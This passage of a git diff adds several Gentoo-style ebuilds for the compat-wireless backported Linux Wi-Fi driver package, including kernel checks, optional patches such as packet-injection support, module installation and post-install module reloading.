+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			/usr/sbin/unload.sh
+			/sbin/udevadm trigger
+			einfo "Your new modules have been loaded for you, sorry for the	network hiccup."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.3.ebuild b/net-wireless/compat-wireless/compat-wireless-3.3.ebuild
new file mode 100644
index 00000000..0e856449
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.3.ebuild
@@ -0,0 +1,169 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~arm x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system."
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	epatch "${FILESDIR}"/make-make.patch
+
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			/usr/sbin/unload.sh
+			/sbin/udevadm trigger
+			einfo "Your new modules have been loaded for you, sorry for the	network hiccup."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild
new file mode 100644
index 00000000..d570b2e5
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.4_rc1-r1.ebuild
@@ -0,0 +1,159 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		ewarn "Please report that you saw this message in #pentoo on irc.freenode.net along with your uname -r"
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild b/net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild
new file mode 100644
index 00000000..251352c8
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.4_rc1.ebuild
@@ -0,0 +1,164 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="2"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110709 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) ; then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system."
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			/usr/sbin/unload.sh
+			/sbin/udevadm trigger
+			einfo "Your new modules have been loaded for you, sorry for the	network hiccup."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild b/net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild
new file mode 100644
index 00000000..a13cae53
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-3.4_rc3.ebuild
@@ -0,0 +1,156 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="4"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-2)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+CRAZY_VERSIONING="1"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-3.0-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE="atheros_obey_crda bluetooth b43 b44 debugfs debug-driver full-debug injection livecd loadmodules noleds"
+
+DEPEND="!net-wireless/compat-wireless-builder"
+RDEPEND="${DEPEND}
+	livecd? ( =sys-kernel/linux-firmware-99999999 )
+		!livecd? ( >=sys-kernel/linux-firmware-20110219 )
+		virtual/udev"
+
+S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+#	Disable B44 ethernet driver
+	if ! use b44; then
+		sed -i '/CONFIG_B44=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+		sed -i '/CONFIG_B44_PCI=/s/ */#/' "${S}"/config.mk || die "unable to disable B44 driver"
+	fi
+
+#	Disable B43 driver
+	if ! use b43; then
+		sed -i '/CONFIG_B43=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+		sed -i '/CONFIG_B43_PCI_AUTOSELECT=/s/ */#/' "${S}"/config.mk || die "unable to disable B43 driver"
+	#CONFIG_B43LEGACY=
+	fi
+
+#	fixme: there are more bluethooth settings in the config.mk
+	if ! use bluetooth; then
+		sed -i '/CONFIG_COMPAT_BLUETOOTH=/s/ */#/' "${S}"/config.mk || die "unable to disable bluetooth driver"
+		sed -i '/CONFIG_COMPAT_BLUETOOTH_MODULES=/s/ */#/' "${S}"/config.mk || die "unable to bluetooth B44 driver"
+	fi
+
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
